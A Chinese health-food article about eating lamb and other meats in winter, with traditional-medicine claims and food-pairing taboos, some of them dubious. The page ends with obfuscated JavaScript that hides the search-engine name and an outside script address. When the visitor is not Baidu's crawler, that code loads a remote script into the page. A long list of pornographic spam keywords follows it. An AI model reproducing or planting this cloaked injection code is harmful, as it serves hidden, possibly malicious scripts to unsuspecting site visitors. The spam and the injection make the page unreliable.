當(dāng)前位置:首頁 > 飲食 > 健康飲食 > 正文

冬天吃什么肉好?冬天吃羊肉有什么好處?

2015-11-28 12:16:04  來源:360常識網(wǎng)   熱度:
導(dǎo)語:羊肉性溫,冬季常吃羊肉,不僅可以增加人體熱量,抵御寒冷,還能增加消化酶,保護胃壁,修復(fù)胃粘膜,幫助脾胃消化,起到抗衰老的作用;

冬天吃什么肉好?冬天吃羊肉有什么好處?

冬天吃什么肉好?冬天吃羊肉有什么好處?

冬季飲食應(yīng)葷素合理搭配,不能偏向任何一方,這樣才能起到真正的保健養(yǎng)生作用哦。那么,在冬季吃哪些肉類和蔬菜是最健康的呢?想要了解的朋友們就和小編繼續(xù)往下看看吧。

冬天吃什么肉好

牛肉,最強壯的肉。凡身體虛弱而智力衰退者,吃牛肉最為相宜。牛肉蛋白質(zhì)的氨基酸組成比豬肉更接近人體需要,能提高機體抗病能力,對生長發(fā)育及手術(shù)后、病后調(diào)養(yǎng)的人在補充失血、修復(fù)組織等方面特別適宜。但牛肉的肌肉纖維較粗糙不易消化,有很高的膽固醇和脂肪,故老人、幼兒及消化力弱的人不宜多吃。

羊肉,最滋補的肉。羊肉有助元陽、補精血、療肺虛之功效,對氣喘、氣管炎、肺病及虛寒的病人相當(dāng)有益。還能益腎壯陽,補虛抗寒,強健身體,是冬令的滋養(yǎng)食療珍品。但需注意的是,羊肉畢竟性偏溫?zé)幔⒎侨巳私砸?。陰虛火旺、咳嗽痰多、消化不良、關(guān)節(jié)炎、濕疹及發(fā)熱者應(yīng)忌食。

豬肉,最補鐵的肉。豬肉肥瘦差別較大,肥肉中脂肪含量高,蛋白質(zhì)含量少,多吃容易導(dǎo)致高血脂和肥胖等疾??;蛋白質(zhì)大部分集中在瘦肉中,而且瘦肉中還含有血紅蛋白,可以起到補鐵的作用,能夠預(yù)防貧血。肉中的血紅蛋白比植物中的更好吸收,因此,吃瘦肉補鐵的效果要比吃蔬菜好。

冬天吃羊肉的好處

羊肉性溫,冬季常吃羊肉,不僅可以增加人體熱量,抵御寒冷,還能增加消化酶,保護胃壁,修復(fù)胃粘膜,幫助脾胃消化,起到抗衰老的作用;

羊肉營養(yǎng)豐富,對肺結(jié)核、氣管炎、哮喘、貧血、產(chǎn)后氣血兩虛、腹部冷痛、體虛畏寒、營養(yǎng)不良、腰膝酸軟、陽痿早泄以及一切虛寒病癥均有很大裨益;具有補腎壯陽、補虛溫中等作用,男士適合經(jīng)常食用。

那么,吃羊肉都有哪些禁忌呢?

冬天吃羊肉的禁忌

部分病癥忌食羊肉:經(jīng)??谏嗝訝€、眼睛紅、口苦、煩躁、咽喉干痛、牙齦腫痛者,或腹瀉者,或服中藥方中有半夏、石菖蒲者均忌吃羊肉。

不宜與醋同食:酸味的醋具有收斂作用,不利于體內(nèi)陽氣的生發(fā),與羊肉同吃會讓它的溫補作用大打折扣。

不宜與南瓜同食:中醫(yī)古籍中還有羊肉不宜與南瓜同食的記載。這主要是因為羊肉與南瓜都是溫?zé)崾澄铮绻旁谝黄鹗秤茫瑯O易“上火”。同樣的道理,在烹調(diào)羊肉時也應(yīng)少放點辣椒、胡椒、生姜、丁香、茴香等辛溫燥熱的調(diào)味品。

忌與西瓜同食:吃羊肉后進食西瓜容易“傷元氣”。這是因為羊肉性味甘熱,而西瓜性寒,屬生冷之品,進食后不僅大大降低羊肉的溫補作用,且有礙脾胃。

忌與茶同食:茶水是羊肉的“克星”。這是因為羊肉中蛋白質(zhì)含量豐富,而茶葉中含有較多的鞣酸,吃羊肉時喝茶,會產(chǎn)生鞣酸蛋白質(zhì),使腸的蠕動減弱,大便水分減少,進而誘發(fā)便秘。

冬天吃羊肉羊水,別忘了以上禁忌哦。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产精品一区二区久久精品无码| 亚洲国产精品久久久天堂| 91亚洲精品第一综合不卡播放| 国产乱人伦偷精精品视频| 7m凹凸精品分类大全免费| 久久久久国产精品嫩草影院| 欧美激情国产精品视频一区二区| 精品久久久久久久| 亚洲AV成人精品日韩一区18p| 亚洲av永久无码精品三区在线4| 国产午夜精品久久久久九九电影| 免费精品一区二区三区在线观看| 久热青青青在线视频精品| 亚洲视频在线精品| 久久水蜜桃亚洲AV无码精品| 亚洲国产综合91精品麻豆 | 国产精品美女午夜爽爽爽免费 | 91在线老王精品免费播放| 久久se这里只有精品| 日韩精品久久一区二区三区| 亚洲国产精品一区二区久| 久久这里只精品热免费99| 国产精品亚洲w码日韩中文| 四虎精品影院在线观看视频| 在线精品视频播放| 久久精品国产一区二区三区肥胖| 精品国产不卡一区二区三区| 国产偷窥熟女精品视频大全| 久久国产精品成人无码网站| 国产国产成人精品久久| 人妻少妇精品中文字幕AV| 在线精品亚洲一区二区三区| 亚洲精品在线视频| 国产精品JIZZ在线观看无码| 2020年国产精品| 国产chinesehd精品酒店| 亚洲精品影院久久久久久| 亚洲AV无码成人精品区蜜桃| 中国精品18videosex性中国| 国产精品内射视频免费| 日韩精品一二三四区|